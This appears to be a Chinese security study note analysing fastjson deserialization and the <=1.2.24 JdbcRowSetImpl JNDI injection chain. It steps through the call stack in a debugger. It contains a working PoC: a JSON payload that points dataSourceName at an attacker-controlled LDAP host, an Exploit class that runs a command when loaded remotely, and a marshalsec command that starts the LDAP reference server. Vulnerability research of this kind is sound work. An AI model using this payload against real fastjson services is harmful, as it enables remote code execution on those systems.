https://github.com/mbechler/marshalsec
fastjson反序列化
fastjson三种反序列化方式的差异
参考:
https://xz.aliyun.com/t/7027
1、返回结果的对象类型不同
说明:
使用
JSON.parse(serializedStr);
或者
JSON.parseObject(serializedStr); // 不指定具体类
得到的对象为com.alibaba.fastjson.JSONObject
类型,也就是json字符串。
使用
JSON.parseObject(serializedStr,User.class); // 指定具体类,这里为com.cqq.User类
得到的对象类型为com.cqq.User
。
PS:查看JSON.parseObject
的具体实现,发现其实最终还是调用了JSON.parse
。
//TODO 后续再深入
2、执行过程中调用的方法不同
使用FastJsonTest
进行测试,发现在反序列化中调用的方法不同。
发现这三种方式都会调用目标类的set方法,但是只有
JSON.parseObject(payload);
会调用目标类的get方法。
调用栈如下:
就是因为parseObject比其他方式多了一个toJSON操作。因为要得到json数据,就得调用目标类的get方法,拿到这个对象的某个属性值。
@type字段的使用
其实就是JSON.toJSONString
方法多加一个参数。之前是:
String serializedStr = JSON.toJSONString(user1);
现在改成
String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
使用Person类进行反序列化实验
测试代码如下:
package com.cqq;
import com.alibaba.fastjson.JSON;
public class Type {
public static void main(String[] args) {
String eneity3 = "{\"@type\":\"com.cqq.Person\", " +
"\"name\":\"cqq\", \"full_name\":\"caiqiqi\", " +
"\"age\": 18, \"prop\": {\"123\":123}, \"sex\": 1}";
//反序列化
Object obj = JSON.parseObject(eneity3, Person.class);
//输出会调用obj对象的toString函数
System.out.println(obj);
}
}
Person类内容如下:
package com.cqq;
import java.util.Properties;
public class Person {
//属性
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop;
//构造函数
public Person(){
System.out.println("[*] Person构造函数");
}
//set
public void setAge(int age){
System.out.println("[*] setAge()");
this.age = age;
}
//get 返回Boolean
public Boolean getSex(){
System.out.println("[*] getSex()");
return this.sex;
}
//get 返回ProPerties
public Properties getProp(){
System.out.println("[*] getProp()");
return this.prop;
}
//在输出时会自动调用的对象ToString函数
public String toString() {
String s = "[Person Object] name=" + this.name
+ " full_name=" + this.full_name + ", age=" + this.age
+ ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}
从结果看,发现只有name和age被解析出来了。猜想分析:
1、对比name和full_name,他们的值在json数据中都指定了,而且Person类中都没有他们的set和get方法,但是name属性是public的,而full_name属性是private的。
2、age内容被输出,发现setAge()被调用了。
3、虽然getProp()方法也被调用了,但是由于prop属性是private的,且没有相应的set方法,无法将json字符串中的值赋值给对象。
然而并不是这样。
<=1.2.24 JNDI注入利用链(com.sun.rowset.JdbcRowSetImpl)
按照这张图里的描述:
使用JdbcRowSetImpl
类作为目标类,根据PoC中指定的属性dataSourceName
和autoCommit
,到时候应该会调用setDataSourceName
。
PoC内容如下:
package com.cqq;
import com.alibaba.fastjson.JSON;
import com.cqq.User;
public class PoC {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
当然事先得先准备好两点:
1、待被远程下载的Exploit类;
import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit implements ObjectFactory {
public Exploit() {
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}
public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}
return "";
}
public static void main(String[] var0) {
exec("123");
}
}
2、LDAP服务;
使用marshalsec生成:
java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit
表示在默认端口1389创建了LDAP服务,其内容通过http访问http://192.168.85.129:8090/#Exploit
这个url获取到。
LDAP服务,和HTTP下载来的Exploit都是攻击者可控的,在客户端执行的。PoC是在fastjson开启服务的主机执行的。但是本质上这里模拟一个fastjson服务,其payload的json字符串是用户可控的。
查看一下调用栈:
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
... 10 more
Caused by: java.lang.NullPointerException
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 15 more
演示
整理的流程是:
那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
来源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
在攻击者可控的客户端准备的条件:
1、待被远程下载的Exploit类
2、LDAP服务;
最终,在服务端执行PoC的Demo:
让我们去目标类下断点,进行调试。
不知道是哪里触发的,索性在两个方法setDataSourceName
和setAutoCommit
都下断点:
调试发现,首先是设置DataSourceName,
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName
继续跟其父类javax.sql.rowset.BaseRowSet的setDataSourceName
方法:
这个方法的注释如下:
/**
* Sets theDataSource
name property for thisRowSet
* object to the given logical name and sets thisRowSet
object’s
* Url property tonull
. The name must have been bound to a
*DataSource
object in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
*DataSource
object bound to it. TheDataSource
* object can then be used to establish a connection to the data source it
* represents.
*
* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name aString
object with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
*DataSource
object that can be used to get a connection;
* may benull
but must not be an empty string
* @throws SQLException if an empty string is provided as theDataSource
* name
* @see #getDataSourceName
*/
然后是设置autoCommit
为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue
通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)
方法,并传入参数true
。
然后跟进这个setAutoCommit
方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit
可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即
this.conn = this.connect();
继续跟进:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect
看这个条件判断:
else if (this.getDataSourceName() != null)
因为我们之前已经通过setDataSourceName
设置了dataSourceName的值,所以这里可以进入这个条件分支:
关键都在这个lookup里面了。
然后就是对这个url:
ldap://192.168.85.129:1389/Exploit
一步一步的lookup了。接下来说一下lookup的细节,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?
,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:
跟进C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
这里通过var2.getRemainingName()
得到/
后面的部分,即向控制的服务器上获取Exploit.class
文件。
最终一路lookup,到了这里:
javax/naming/spi/DirectoryManager.getObjectInstance()
然后就进入Exploit#getObjectInstance
完整调用栈如下:
exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)
tips:
虽然大多数情况是把Exploit代码和PoC放到同一台主机上,这里我放到了网络上另外一台,但是这样做的情况是,如果不在IDEA中设置Exploit的源码或者class,IDEA是跟不到Exploit中的,所以需要手动设置一下。